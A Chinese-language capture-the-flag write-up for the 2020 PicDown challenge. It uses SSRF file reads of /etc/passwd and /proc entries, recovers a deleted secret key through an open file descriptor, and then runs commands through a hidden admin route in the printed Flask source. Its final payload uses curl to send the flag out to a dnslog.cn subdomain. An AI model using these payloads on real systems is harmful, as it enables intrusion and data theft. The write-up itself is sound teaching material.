BUU-[网鼎杯 2020 白虎组]PicDown

题目给的是GET参数名为url,应该就是SSRF的题目
输入?url=/etc/passwd
回显成功, 证实了是SSRF
接着, 查看进程变量
?url=/proc/self/environ

MAIL=/var/mail/app USER=app HOME=/home/app LOGNAME=app PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games SHELL=/bin/sh PWD=/app 

找到了PWD
接着, 查看启动进程的命令行参数
?url=/proc/self/cmdline

python2 app.py

接着, 查看题目源码
?url=/app/app.py

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

审计:
最重要的就是SECRET_KEY,但是这个变量的来源文件被删了, 所以无法直接SSRF, 只能另辟蹊径:
查看源码,可以发现文件虽然被删除了, 但是文件并没有关闭, 所以进程还持有者文件的fd(文件描述符)

恢复已删除但仍被占用的文件:如果文件被删除但进程仍持有 fd,可以通过 /proc/<pid>/fd/<num> 复制出来

fd可以通过/proc/self/fd/<num>访问, 遍历num,当num=3的时候, 找到了SECRET_KEY
成功通过了IF判断

接着, 执行shell, 发现无回显, 需要外带

?key=IDOaWCEY/auOqViQHU19M/uMWBZBTueF0LoRfF2p1eI=&shell=curl+`cat+/flag|tr+'{}'+'--'`.k28u8a.dnslog.cn

解读payload:

  1. 两个反引号在Linux中表示命令替换,相当于一个函数, 把结果return了出去
  2. tr命令, 基础用法就是进行字符的对应替换: tr '{}' '--'就是说把{替换为了-,把}替换为了-
  3. 之所以不用base64的原因
    1. base64的结果会包含非法的域名字符:+/=,合法的域名字符之包括:a-z,0-9,-
    2. base64的结果太长了,域名是接受不了这么长的

posted on 2026-04-11 13:30  misaki%20mei  阅读(10)  评论(0)    收藏  举报

导航